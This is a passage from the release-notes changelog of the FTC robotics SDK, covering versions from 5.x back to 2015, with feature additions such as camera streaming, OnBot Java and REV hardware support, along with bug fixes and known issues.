Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New 